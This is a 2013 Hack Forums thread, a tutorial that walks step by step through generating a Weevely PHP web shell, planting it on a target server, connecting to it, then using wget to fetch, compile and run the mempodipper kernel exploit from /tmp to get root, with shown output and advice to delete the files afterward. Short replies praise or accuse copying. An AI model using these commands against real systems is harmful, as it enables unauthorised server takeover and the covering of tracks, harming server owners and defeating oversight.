+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [TUT] Rooting a server with weevly. (/showthread.php?tid=3753375)
[TUT] Rooting a server with weevly. - TheWikiPirate - Sep 14, 2013
Weevely to root tutorial
wget https://github.com/downloads/epinna/Weevely/weevely-0.7.1.tar.gz
tar -zxvf weevely-0.7.1.tar.gz
cd to the new dir
now type ./weevely.py generate <password>
<password> is the bit you change to any password
EG ./weevely.py generate Password123
this will create a weevely.php file in your current dir
if you're sill unsure this is an in depth tutorial on this https://github.com/epinna/Weevely/wiki/Tutorial
Now once you have uploaded you weevely.php file to the target server and you know what dir to locate it in we go onto the next step
connecting to your backdoor
./weevely.py http://www.targetsite.com/dir/weevely.php <password>
the <password> is what you chose when making the backdoor
Should look like this:
user@IMNOTAPC:~$ ./weevely.py http://xxxxx.xx/weevely.php Password123
______
| | | |-----.----.-.--.----' |--.--.
| | | | -__| -__| | | -__| | | |
|________|_____|____|___/|____|__|___ | v0.7.1
|_____|
Stealth tiny web shell
[+] Starting terminal, shell probe may take a while
[+] List modules with <tab> and show help with :show [module name]
now that we have the back door its time to find out the linux kernel version
type:
uname -a
response:
Linux xxxxxxxx.miniserver.com 2.6.39.4-x1 #1 SMP Wed Oct 26 11:39:05 GMT 2011 i686 GNU/Linux
Note the ker version is 2.6.39, there is a local root exploit for this, so we can google
"2.6.39 local root exploit"
there is one on exploit-db
now I go back to my shell then type:
cd /tmp
this is because /tmp will always let you write the file to it
and type:
wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
then type:
gcc -o test mempodipper.c
replace mempodipper.c with the exploit suited to your server
now to set permissions :
chmod u+x test
now to run:
./test
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x8049984.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/411/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x8049978.
[+] Executing su with shellcode.
[email protected]:#
YOU HAVE ROOT :D
don't forget to delete them
rm -r <filename>
* - Skorp - Sep 14, 2013
Nice exploit, i heard of that one, but didn't care to use that one.
* - petro2285 - Sep 14, 2013
Excellent COPY/PASTE
http://pastebin.com/Ud9CEZnM
EXCELLENT !
* - TheWikiPirate - Sep 14, 2013
(Sep 14, 2013 06:34 AM)petro2285 Wrote: Excellent COPY/PASTE
http://pastebin.com/Ud9CEZnM
EXCELLENT !
I posted this months ago on my facebook page, but I wasnt registered here. So someone paste it on pastebin. #Lulz